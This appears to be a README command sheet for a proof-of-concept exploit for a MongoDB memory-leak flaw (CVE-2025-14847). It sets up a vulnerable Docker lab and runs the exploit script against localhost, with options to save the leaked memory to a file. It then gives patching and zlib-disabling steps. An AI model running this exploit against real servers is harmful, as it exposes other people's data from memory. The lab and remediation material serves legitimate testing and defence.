# Clone repository
git clone https://github.com/FurkanKAYAPINAR/CVE-2025-14847-MongoDB.git
cd CVE-2025-14847-MongoDB

# Create virtual environment
python3 -m venv venv
source venv/bin/activate  # Linux/macOS
# venv\Scripts\activate   # Windows

# Install dependencies
pip install -r requirements.txt

cd lab

# Start vulnerable MongoDB (6.0.26 with zlib enabled)
docker-compose up -d

# Verify it's running
docker-compose ps

# Load sample data (optional)
./setup.sh load-data

# Stop lab
docker-compose down

# Single target
python exploit/mongobleed.py -u 127.0.0.1

# With specific port
python exploit/mongobleed.py -u 127.0.0.1 -p 27017

# Save leaked data to file
python exploit/mongobleed.py -u 127.0.0.1 -o leaked_data.bin

# Multiple iterations for more data
python exploit/mongobleed.py -u 127.0.0.1 -i 20

# Quiet mode (less output)
python exploit/mongobleed.py -u 127.0.0.1 -q

# Without hex dump (text output)
python exploit/mongobleed.py -u 127.0.0.1 --text

# Update to patched version
# Example for MongoDB 6.x
sudo apt-get update
sudo apt-get install mongodb-org=6.0.27

# Start mongod without zlib
mongod --networkMessageCompressors snappy,zstd

# Or in mongod.conf
net:
  compression:
    compressors: snappy,zstd

python remediation/verify_fix.py --target 127.0.0.1 --port 27017